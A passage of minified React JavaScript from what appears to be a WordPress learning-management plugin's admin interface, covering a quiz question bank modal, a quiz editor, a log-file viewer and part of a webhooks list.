l().createElement(l().Fragment,null,l().createElement(Qe.a,{border:"none",mb:"3",opacity:c?.5:1},l().createElement(Qe.a,{bg:"white",p:"0"},l().createElement(d.B,{direction:"row",px:"2",pb:"1.5",pt:"1",align:"center"},l().createElement(d.B,{direction:"row",spacing:"2",align:"center",flex:"1"},l().createElement(_e.o,{mx:1},l().createElement(On.S,{isChecked:B.has(null==n||null===(t=n.id)||void 0===t?void 0:t.toString()),onChange:e=>{var t,a,l;a=null==e||null===(t=e.target)||void 0===t?void 0:t.checked,(l=String(null==n?void 0:n.id))&&i((e=>{var t=new Set(e);return a?t.add(l):t.delete(l),Array.from(t)}))}})),l().createElement(d.B,{direction:"row"},l().createElement($e.I,{fontSize:"xl",as:rC(S)})),l().createElement($n.m,{label:l().createElement(Qe.a,{dangerouslySetInnerHTML:{__html:null==n?void 0:n.name}}),hasArrow:!0,placement:"top-start",shouldWrapChildren:!0},l().createElement(g.E,{_hover:{background:"transparent"},px:"0",py:"1",dangerouslySetInnerHTML:{__html:null==n?void 0:n.name},className:"parsed-quiz-question-name",isTruncated:!0}))),l().createElement(d.B,{direction:"row",spacing:"4"},l().createElement($n.m,{label:(0,E.__)("Add to Quiz","learning-management-system")},l().createElement(Un.K,{_hover:{color:"blue.500"},variant:"icon","aria-label":(0,E.__)("Add","learning-management-system"),icon:l().createElement(kt.Ca6,{fontSize:"20px"}),minW:"auto",isLoading:c,onClick:()=>{var e;return m(null==n||null===(e=n.id)||void 0===e?void 0:e.toString())}})),l().createElement($n.m,{label:(0,E.__)("Duplicate and Add to Quiz","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate and Add to Quiz","learning-management-system"),icon:l().createElement(kt.Xpf,null),minW:"auto",isLoading:x.isPending,onClick:()=>(e=>{var{id:t,menu_order:n,permalink:a,is_from_bank:l}=e,r=(0,q.A)(e,nC);x.mutate(lC(lC({},r),{},{parent_id:o}))})(n)})),l().createElement($n.m,{label:(0,E.__)("Delete from Question Bank","learning-management-system")},l().createElement(Un.K,{_hover:{color:"red.500"},variant:"icon",colorScheme:"red","aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(kt.id1,null),minW:"auto",onClick:f})))))),l().createElement(Fw,{heading:(0,E.__)("Delete Question from All Quizzes","learning-management-system"),isOpen:v,onClose:h,onDeleteConfirm:()=>{C.mutate(null==n?void 0:n.id)},isLoading:C.isPending,dialogBody:(0,E.__)("This question is part of the question bank. If you delete it, it will also be removed from all associated quizzes. Are you sure you want to proceed?","learning-management-system"),size:"lg"}))};function oC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function sC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?oC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):oC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var mC=[{value:"true-false",label:(0,E.__)("True False","learning-management-system"),icon:Tv},{value:"single-choice",label:(0,E.__)("Single Choice","learning-management-system"),icon:Uv},{value:"multiple-choice",label:(0,E.__)("Multiple Choice","learning-management-system"),icon:vi},{value:"text-answer",label:(0,E.__)("Text Answer","learning-management-system"),isPro:!0,icon:Iw},{value:"matching",label:(0,E.__)("Match the Following","learning-management-system"),isPro:!0,icon:Ow},{value:"fill-in-the-blanks",label:(0,E.__)("Fill in the blanks","learning-management-system"),isPro:!0,icon:Pw},{value:"audio",label:(0,E.__)("Audio","learning-management-system"),isPro:!0,icon:Dw},{value:"video",label:(0,E.__)("Video","learning-management-system"),isPro:!0,icon:_w},{value:"sortable",label:(0,E.__)("Sortable","learning-management-system"),isPro:!0,icon:kw}];const cC=e=>{var t,{quizId:n,isOpen:r,onClose:i}=e,[o,m]=(0,a.useState)([]),c=(0,s.jE)(),u=(0,a.useRef)(null),d=(0,We.d)(),y=(0,Jr.A)({base:"base",xs:"xs",sm:"sm",md:"md",lg:"lg",xl:"xl"},{ssr:!0}),v=(0,Je.mN)({defaultValues:{searchQuery:"",questionType:null,course_id:null}}),{control:S,register:B,setValue:I}=v,O=(0,Je.FH)({control:S,name:"questionType"}),P=(0,Je.FH)({control:S,name:"searchQuery"}),D=(0,Je.FH)({control:S,name:"course_id"}),_=new mt(rt.questions),k=new mt(rt.questionsBank),Q=(0,sc.q)({queryKey:["allQuestions",O,null==P?void 0:P.trim(),D],queryFn:e=>{var{pageParam:t}=e;return _.list({selected_quiz_id:n,page:t,per_page:20,author_id:null==R?void 0:R.current_user_id,course_id:D||void 0,search:P,question_types:O?null==O?void 0:O.map((e=>null==e?void 0:e.value)):null})},retry:!1,enabled:r,initialPageParam:1,getNextPageParam:e=>e.meta.current_page>=e.meta.pages?void 0:e.meta.current_page+1}),z=(0,wt.n)({mutationFn:e=>k.bulkUpdate("",{ids:e,quiz_id:n,author_id:null==R?void 0:R.current_user_id}),onSuccess:()=>{d({title:(0,E.__)("Question Added Successfully.","learning-management-system"),status:"success",isClosable:!0}),i(),m([]),c.invalidateQueries({queryKey:["questions".concat(n)]}),c.invalidateQueries({queryKey:["allQuestions"]})},onError:()=>{d({title:(0,E.__)("Failed to add questions.","learning-management-system"),status:"error",isClosable:!0})}}),q=(0,a.useCallback)((e=>{z.mutate([e])}),[z]);(0,a.useEffect)((()=>{if(null!=Q&&Q.isError){var e,t=(null===(e=Q.error)||void 0===e?void 0:e.message)||"An unexpected error occurred.";d({title:(0,E.__)("Failed to fetch questions.","learning-management-system"),description:t,isClosable:!0,status:"error"})}}),[null==Q?void 0:Q.isError,null===(t=Q.error)||void 0===t?void 0:t.message,d]),(0,a.useEffect)((()=>{r||(m([]),I("searchQuery",""),I("questionType",null),I("course_id",null))}),[r,I]);var F=(0,a.useMemo)((()=>{var e;return(null===(e=Q.data)||void 0===e?void 0:e.pages.flatMap((e=>e.data)))||[]}),[Q.data]),j=Q.hasNextPage,V=Q.isFetchingNextPage,L=(0,a.useCallback)((e=>{var t,a=F[e];return a?l().createElement(Qe.a,{pb:1,key:a.id,borderTopWidth:0===e?0:1,borderTopColor:"gray.100"},l().createElement(iC,{bulkIds:o,quizId:n,setBulkIds:m,questionData:a,onAddClick:q,isAdding:z.isPending&&(null==z||null===(t=z.variables)||void 0===t?void 0:t.includes(a.id.toString()))})):null}),[o,n,z.isPending,null==z?void 0:z.variables,F,q]),M=(0,a.useCallback)((()=>60),[]);return l().createElement(h.aF,{isOpen:r,onClose:i,size:"4xl",closeOnOverlayClick:!1,scrollBehavior:"outside"},l().createElement(f.m,null),l().createElement(b.$,{maxH:"100vh"},l().createElement(w.r,{borderBottom:"1px",borderColor:"gray.200"},(0,E.__)("Question Bank","learning-management-system")),l().createElement(C.s,null),l().createElement(Je.Op,v,l().createElement(x.c,{px:6,overflow:"hidden"},l().createElement(ht.r,{templateColumns:{base:"1fr",md:"2fr 1fr 1fr"},spacing:4,py:4,position:"sticky",top:0,zIndex:10,bg:"white",boxShadow:"sm",transition:"box-shadow 0.2s ease-in-out"},l().createElement(Ne.MJ,{w:"100%"},l().createElement(Ha.M,null,l().createElement($n.m,{label:(0,E.__)("Select All","learning-management-system")},l().createElement(ft.s,{p:2,mr:2,align:"center",justify:"center"},l().createElement(On.S,{isDisabled:Q.isLoading||Q.isFetching,isIndeterminate:F.length>0&&o.length>0&&o.length<F.length,isChecked:F.length>0&&o.length>0&&o.length===F.length,onChange:e=>{if(e.target.checked){var t=F.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()}));m(t||[])}else m([])}}))),P&&l().createElement(Ja.t,null,l().createElement(Le.Tfw,{cursor:"pointer",onClick:()=>I("searchQuery","")})),l().createElement(Je.xI,{name:"searchQuery",control:S,render:()=>l().createElement(Ma.p,(0,Re.A)({},B("searchQuery"),{placeholder:(0,E.__)("Search Questions...","learning-management-system"),bg:"white"}))}))),l().createElement(Ne.MJ,{w:"100%"},l().createElement(Je.xI,{name:"questionType",control:S,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{isDisabled:Q.isLoading||Q.isFetching,isMulti:!0,placeholder:(0,E.__)("Question Types","learning-management-system"),onChange:t,value:n,closeMenuOnSelect:!0,isClearable:!0,isOptionDisabled:e=>null==e?void 0:e.isPro,components:{Option:e=>l().createElement(Ii.dK.Option,e,l().createElement(ft.s,{justify:"flex-start",align:"center",gap:2,pointerEvents:e.data.isPro?"none":"auto",cursor:"pointer"},l().createElement($e.I,{as:e.data.icon,fontSize:"md"}),l().createElement(g.E,{fontSize:"xs",flex:1},e.data.label),e.data.isPro&&l().createElement(yl,{ml:1})))},options:mC,menuPortalTarget:"undefined"!=typeof document?document.body:void 0,menuPosition:"fixed",menuPlacement:"auto",styles:{menuPortal:e=>sC(sC({},e),{},{zIndex:9999})}})}})),l().createElement(Xw,{showFormLabel:!1})),Q.isLoading?l().createElement(Qd,{no_of_items:5}):Q.isSuccess&&$(F)?l().createElement(at,null,(0,E.__)("No questions found.","learning-management-system")):l().createElement(tC,{itemCount:F.length,getItemHeight:M,renderItem:L,containerRef:u,useParentScroll:!1,height:"base"!==y&&"xs"!==y&&"sm"!==y&&"md"!==y?"60vh":"40vh",overflowY:"auto",isLoading:Q.isInitialLoading,customLoader:l().createElement(Qd,null),onLoadMore:()=>{j&&!V&&Q.fetchNextPage()},border:"gray.100",borderWidth:1,borderRadius:"md",position:"relative"}),V&&l().createElement(ft.s,{position:"absolute",bottom:"60px",left:"50%",transform:"translateX(-50%)",zIndex:2,p:2,bg:"whiteAlpha.800",borderRadius:"md",boxShadow:"md"},l().createElement(bt.y,null)),l().createElement(A.j,{padding:4,justifyContent:"space-between"},l().createElement(g.E,{fontSize:"sm",color:"gray.500"},null==o?void 0:o.length,(0,E.__)(" items selected","learning-management-system")),l().createElement(Bt.e,{gap:2},l().createElement(p.$,{variant:"outline",onClick:i},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{leftIcon:l().createElement(Yw.enO,{size:15}),colorScheme:"primary",isDisabled:$(F)||$(o),isLoading:z.isPending,onClick:()=>z.mutate(o)},(0,E.__)("Add Selected ","learning-management-system")," ")))))))};function uC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function dC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?uC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):uC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const gC=e=>{var t,{quizName:n,quizId:r,courseId:i,questionList:o,setQuestionList:m,tabIndex:c}=e,A=new mt(rt.questions),y=new mt(rt.quizBuilder),v=(0,s.jE)(),[f,h]=(0,a.useState)([]),{isOpen:b,onOpen:w,onClose:C}=(0,Ue.j)(),{isOpen:x,onOpen:S,onClose:B}=(0,Ue.j)(),[I,O]=(0,a.useState)(null),[P,D]=(0,a.useState)(null),_=(0,Pn.I)(dC({queryKey:["questions".concat(r),r],queryFn:()=>y.getQuizQuestions(r,{per_page:999})},{enabled:1===c&&!!r})),k=(0,wt.n)(dC({mutationFn:e=>A.store(e)},{onSuccess:e=>{v.invalidateQueries({queryKey:["questions".concat(r)]}),B(),O(null),D(null==e?void 0:e.id)}}));return(0,a.useEffect)((()=>{null!=_&&_.isSuccess&&m(null==_?void 0:_.data)}),[null==_?void 0:_.data,null==_?void 0:_.isSuccess,m]),l().createElement(Bw,null,l().createElement(cC,{onClose:C,isOpen:b,quizId:r}),l().createElement(d.B,{direction:"column",spacing:"6",py:"8"},_.isLoading&&l().createElement(u.T,{px:4,spacing:2},[1,2,3].map((e=>l().createElement(Qe.a,{key:e,borderWidth:"1px",borderRadius:"base",borderColor:"gray.200",px:4,py:6,w:"100%"},l().createElement(Ze.z,{spacing:4,align:"center"},l().createElement(St.E,{boxSize:"6"}),l().createElement(St.E,{height:"20px",flex:"1"}),l().createElement(St.E,{height:"16px",width:"24"})))))),l().createElement(l().Fragment,null,_.isSuccess&&l().createElement(l().Fragment,null,l().createElement(zw,{isOpen:x,onClose:B,onSelectType:e=>{var t,n;O(e),k.mutate({name:(t=e,null!==(n=Oe[t])&&void 0!==n?n:t),course_id:i,parent_id:r,type:e,answers:Ie(e)})},isLoading:null==k?void 0:k.isPending,disabledQuestionType:I}),0==(null==o||null===(t=o.data)||void 0===t?void 0:t.length)?l().createElement(d.B,{direction:"column",alignItems:"center",gap:"16px"},l().createElement(Cw,null),l().createElement(d.B,{direction:"column",gap:"14px"},l().createElement(ke.D,{fontSize:"2xl",color:"charcoal-gray",fontWeight:"semibold"},(0,E.__)("No Questions Found","learning-management-system")),l().createElement(g.E,{color:"charcoal-gray",fontSize:"md",fontWeight:"normal"},(0,E.__)("Add new question to add your content","learning-management-system")))):l().createElement(Kc.JY,{onDragEnd:e=>{if(e.destination&&(e.destination.droppableId!==e.source.droppableId||e.destination.index!==e.source.index)){var t=Array.from(null==o?void 0:o.data),[n]=t.splice(e.source.index,1);t.splice(e.destination.index,0,n),m({data:t,meta:o.meta})}}},l().createElement(Kc.gL,{droppableId:"quiz-question",type:"question"},((e,t)=>{var n;return l().createElement(Qe.a,(0,Re.A)({sx:t.isDraggingOver?tn:{},p:["0","0","3"],w:"100%",ref:e.innerRef},e.droppableProps),null===(n=N(null==o?void 0:o.data)?null==o?void 0:o.data:[])||void 0===n?void 0:n.map(((e,t)=>l().createElement(Jw,{key:e.id,questionData:e,index:t,quizId:r,openedQuestionDetail:P,setOpenedQuestionDetail:D,bulkIds:f,setBulkIds:h,isQuestionBankOpened:b}))),e.placeholder)}))),l().createElement(_e.o,{px:"5",mt:2},l().createElement(Ze.z,{spacing:2},l().createElement(p.$,{as:wc,bg:"frosted-sky",border:"none",borderRadius:"base",colorScheme:"primary",variant:"outline",fontSize:"xs",onClick:S,isDisabled:null==k?void 0:k.isPending,_hover:{textDecoration:"none",bg:"frosted-sky-lighter"}},(0,E.__)("Add New Question","learning-management-system")),l().createElement(p.$,{borderRadius:"base",border:"none",bg:"frosted-sky",colorScheme:"primary",variant:"outline",fontSize:"xs",onClick:()=>{w(),window.scrollTo({top:0,behavior:"smooth"})},isDisabled:null==k?void 0:k.isPending,leftIcon:l().createElement($e.I,{as:xw,fontSize:"18px"}),_hover:{bg:"frosted-sky-lighter"}},(0,E.__)("Add from Question Bank","learning-management-system")),l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"end"},l().createElement(Li,{title:n,quizId:r,contentType:"quiz",customOpenButton:l().createElement(Si,{isDisabled:null==k?void 0:k.isPending})}))))))))};function AC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function pC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?AC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):AC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const EC=()=>{var e,t,n,r,i,o,m,c,{quizId:u,courseId:g}=(0,vt.g)(),{search:A}=(0,vt.zy)(),{page:y}=M.A.parse(A),{draftCourse:v,publishCourse:f}=Cy(),h=(0,Je.mN)(),b=(0,vt.Zp)(),w=(0,We.d)(),C=new mt(rt.quizes),x=new mt(rt.courses),S=new mt(rt.quizBuilder),B=(0,s.jE)(),I=(0,Je.FH)({control:null==h?void 0:h.control,name:"activeQuizStep",defaultValue:li(y)}),[O,P]=(0,a.useState)({data:[],meta:{total:0,current_page:0,pages:0,per_page:0}}),D=(0,Pn.I)({queryKey:["course".concat(g),g],queryFn:()=>x.get(g,"edit")}),_=(0,Pn.I)({queryKey:["quiz".concat(u),u],queryFn:()=>C.get(u,"edit")}),k=(0,wt.n)(pC({mutationFn:e=>C.update(u,e)},{onSuccess:e=>{ye(B,["builder".concat(g),g],e),B.invalidateQueries({queryKey:["quiz".concat(u)]}),w({title:(0,E.__)("Quiz Updated","learning-management-system"),isClosable:!0,status:"success"}),D.refetch()}})),Q=(0,wt.n)(pC({mutationFn:e=>S.update(u,e)},{onSuccess:e=>{B.invalidateQueries({queryKey:["questions".concat(u)]})}})),z=function(){var e=(0,Te.A)((function*(e,t){var n={duration:60*((null==e?void 0:e.duration_hour)||0)+ +((null==e?void 0:e.duration_minute)||0),duration_hour:void 0,duration_minute:void 0,questions_display_per_page:"1"===e.questions_display_per_page?e.questions_display_per_page_custom:parseInt(e.questions_display_per_page)};"draft"===t?v.mutate(g):"publish"===t&&f.mutate(g);try{var a;yield Q.mutateAsync({questions:null==O||null===(a=O.data)||void 0===a?void 0:a.map((e=>e.id))}),yield k.mutateAsync(ee(e,n))}catch(e){w({title:(0,E.__)("An error occurred","learning-management-system"),description:(null==e?void 0:e.message)||(0,E.__)("Please try again.","learning-management-system"),status:"error",isClosable:!0})}}));return function(t,n){return e.apply(this,arguments)}}();return(0,a.useEffect)((()=>{null!=_&&_.isSuccess&&null!=_&&_.data&&h.reset(h.getValues())}),[null==_?void 0:_.data]),_.isSuccess&&D.isSuccess&&(null==_?void 0:_.data.course_id)==g?l().createElement(Je.Op,h,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{onSaveAction:e=>h.handleSubmit((t=>z(pC(pC({},t),{},{status:e})))),previewLink:null==_||null===(e=_.data)||void 0===e?void 0:e.preview_link,isLoading:null==k?void 0:k.isPending,status:null==_||null===(t=_.data)||void 0===t?void 0:t.status}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(hw,{quizId:u}),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{hidden:1!==I},l().createElement(gC,{quizName:null==_||null===(n=_.data)||void 0===n?void 0:n.name,courseId:null==_||null===(r=_.data)||void 0===r?void 0:r.course_id,quizId:u,questionList:O,setQuestionList:P,tabIndex:I})),l().createElement("form",{onSubmit:h.handleSubmit((e=>z(e)))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{hidden:0!==I},l().createElement(d.B,{spacing:"6"},l().createElement(Aw,{defaultValue:null==_||null===(i=_.data)||void 0===i?void 0:i.name}),l().createElement(bw,{defaultValue:null==_||null===(o=_.data)||void 0===o?void 0:o.description,QuizName:null==_||null===(m=_.data)||void 0===m?void 0:m.name,data:_,methods:h,isPublished:()=>{var e;return"publish"===(null===(e=D.data)||void 0===e?void 0:e.status)},isDrafted:()=>{var e;return"draft"===(null===(e=D.data)||void 0===e?void 0:e.status)}}))),l().createElement(Qe.a,{hidden:2!==I},l().createElement(pw,{quizData:null==_?void 0:_.data})),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,0===I?l().createElement(p.$,{colorScheme:"primary",onClick:()=>b(Pt.quiz.edit.replace(":courseId",g).replace(":quizId",u)+"?page=questions")},(0,E.__)("Next","learning-management-system")):l().createElement(ww,{methods:h,onSubmit:z,isLoading:k.isPending,quizStatus:null==_||null===(c=_.data)||void 0===c?void 0:c.status}),l().createElement(p.$,{variant:"outline",onClick:()=>b(Pt.courses.edit.replace(":courseId",g))},(0,E.__)("Cancel","learning-management-system"))))))))))):l().createElement(gw,null)};function yC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function vC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?yC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):yC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var fC=e=>{var{logLevel:t}=e,n="";switch(t){case"EMERGENCY":case"CRITICAL":case"ERROR":n="red";break;case"ALERT":n="orange";break;case"WARNING":n="yellow";break;case"NOTICE":n="blue";break;case"INFO":n="green";break;default:n="gray"}return l().createElement(Jt.E,{colorScheme:n},t)};const hC=()=>{var e,t,n,r,{id:i}=(0,vt.g)(),o=new mt(rt.logs),s=(0,vt.Zp)(),m=(0,We.d)(),{onClose:c,onOpen:u,isOpen:d}=(0,Ue.j)(),[A,y]=(0,a.useState)(0),v=(0,Pn.I)(vC({queryKey:["log",i],queryFn:()=>o.get(i)},{enabled:Boolean(i)})),f=(0,wt.n)(vC({mutationFn:()=>{var e;return o.delete(null==v||null===(e=v.data)||void 0===e?void 0:e.id,{force:!0,children:!0})}},{onSuccess:()=>{m({status:"success",title:(0,E.__)("Log Deleted","learning-management-system"),isClosable:!0}),s("".concat(null==Pt?void 0:Pt.tools,"?search=logs=true"))},onError:e=>{m({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return l().createElement(De.m,{maxW:"container.xl",mt:5},l().createElement(Dl,{onClick:()=>s("".concat(null==Pt?void 0:Pt.tools,"?search=logs=true")),mb:5}),l().createElement(Qe.a,{bg:"white",p:["4",null,"10"],shadow:"box"},null!=v&&v.isLoading?l().createElement(fd,null):l().createElement(l().Fragment,null,l().createElement(ft.s,{alignItems:"center",flexWrap:"wrap"},l().createElement(ft.s,{flexDirection:"column",alignItems:"flex-start",flex:1,mb:2},l().createElement(g.E,{fontSize:"large",fontWeight:"semibold"},(0,E.__)("Viewing log file ","learning-management-system"),l().createElement("span",{style:{padding:"3px 7px",backgroundColor:"#F0F0F1"}},Ae(null==v||null===(e=v.data)||void 0===e?void 0:e.name))),l().createElement(ft.s,{alignItems:"center",mt:1},l().createElement($e.I,{as:kt.u$_,fontSize:"small",mr:1}),l().createElement(g.E,{fontWeight:"semibold",fontSize:{base:"smaller",md:"small"}},(0,E.__)("Modified Date: ","learning-management-system"),ie(null==v||null===(t=v.data)||void 0===t?void 0:t.date,"Y-m-d, h:i A")))),l().createElement(Bt.e,{mb:2},l().createElement(p.$,{ml:{base:0,md:2},colorScheme:"primary",leftIcon:l().createElement(kt.Ah9,null),size:"xs",onClick:()=>{var e,t;JE()(null==v||null===(e=v.data)||void 0===e?void 0:e.url,oe(null==v||null===(t=v.data)||void 0===t?void 0:t.url))}},(0,E.__)("Download ","learning-management-system"),"(",null==v||null===(n=v.data)||void 0===n?void 0:n.formatted_size,")"),l().createElement(p.$,{ml:2,colorScheme:"red",leftIcon:l().createElement(Da,{icon:ea,boxSize:"12px"}),size:"xs",onClick:u},(0,E.__)("Delete","learning-management-system")))),l().createElement(Qe.a,{borderRadius:"md",borderColor:"gray.200",borderWidth:1,maxHeight:"100vh",mt:2,overflow:"auto",className:"custom-scrollbar"},(e=>{if(!e.trim())return[{timestamp:"",level:"",message:"",lineNumber:1}];var t=e.split(/\r\n|\r|\n/).filter((e=>e)),n=[];return t.forEach(((e,t)=>{var[a,l,...r]=e.split(" "),i=r.join(" ");n.push({timestamp:a,level:null==l?void 0:l.toUpperCase(),message:i,lineNumber:t+1})})),n})(null==v||null===(r=v.data)||void 0===r?void 0:r.log).map((e=>l().createElement(ft.s,{key:e.timestamp,alignItems:"center"},l().createElement(ft.s,{cursor:"pointer",bgColor:A===(null==e?void 0:e.lineNumber)?"primary.200":"primary.100",maxW:"100px",minWidth:"50px",justifyContent:"center",alignItems:"center",onClick:()=>y(null==e?void 0:e.lineNumber),borderTopWidth:1,borderBottomWidth:1,borderColor:A===(null==e?void 0:e.lineNumber)?"gray.100":"transparent"},l().createElement(g.E,{lineHeight:2,fontWeight:"semibold"},null==e?void 0:e.lineNumber)),l().createElement(Qe.a,{px:5,flex:"1",whiteSpace:"nowrap",overflow:"hidden",textOverflow:"ellipsis",bgColor:A===(null==e?void 0:e.lineNumber)?"gray.100":"transparent",borderWidth:2,borderColor:A===(null==e?void 0:e.lineNumber)?"gray.200":"transparent",borderStyle:"dotted",borderLeftColor:A===(null==e?void 0:e.lineNumber)?"red.200":"transparent",borderRightColor:A===(null==e?void 0:e.lineNumber)?"red.200":"transparent",borderLeftStyle:"solid",borderRightStyle:"solid"},l().createElement(g.E,{display:"inline",fontWeight:"bold"},ie(e.timestamp,"M d, Y h:i:s A")),l().createElement(g.E,{display:"inline",mx:2},l().createElement(fC,{logLevel:e.level})),l().createElement(ze.C,{bgColor:"transparent",display:"inline",whiteSpace:"pre-wrap",overflow:"auto",textOverflow:"ellipsis"},e.message)))))))),l().createElement(qn,{isOpen:d,onClose:c,onConfirm:()=>f.mutate(),action:"delete",isLoading:null==f?void 0:f.isPending,dialogTexts:{default:{header:(0,E.__)("Deleting Log","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Log","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};function bC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function wC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?bC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):bC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const CC=e=>{var t,n,r,{data:i,filterParams:o}=e,{status:m}=i,c=null===(t=i.created_at)||void 0===t?void 0:t.split(" ")[0],u=(0,We.d)(),y=(0,a.useRef)(),h=(0,s.jE)(),b=new mt(rt.webhooks),{onClose:C,onOpen:S,isOpen:B}=(0,Ue.j)(),I=(0,wt.n)(wC({mutationFn:e=>b.restore(e)},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),u({title:(0,E.__)("Webhook Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to restore webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),O=(0,wt.n)(wC({mutationFn:e=>b.delete(e)},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),u({title:(0,E.__)("Webhook moved to trash","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to move a webhook to trash.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),P=(0,wt.n)(wC({mutationFn:e=>b.delete(e,{force:!0})},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),C()},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to delete webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}}));return l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,"trash"===m?l().createElement(g.E,{fontWeight:"semibold"},i.name):l().createElement(je.N,{as:v.N_,to:Pt.webhooks.edit.replace(":webhookId",i.id.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},i.name)),l().createElement(_n.Td,null,m===iA.Active?l().createElement(Jt.E,{bg:"green.500",fontSize:"xs",color:"white"},(0,E.__)("Active","learning-management-system")):l().createElement(Jt.E,{bg:"gray.200",fontSize:"xs",color:"gray.700"},(0,E.__)("Inactive","learning-management-system"))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{src:null===(n=i.author)||void 0===n?void 0:n.avatar_url,size:"xs"}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},null===(r=i.author)||void 0===r?void 0:r.display_name))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(c,"Y-m-d, h:i 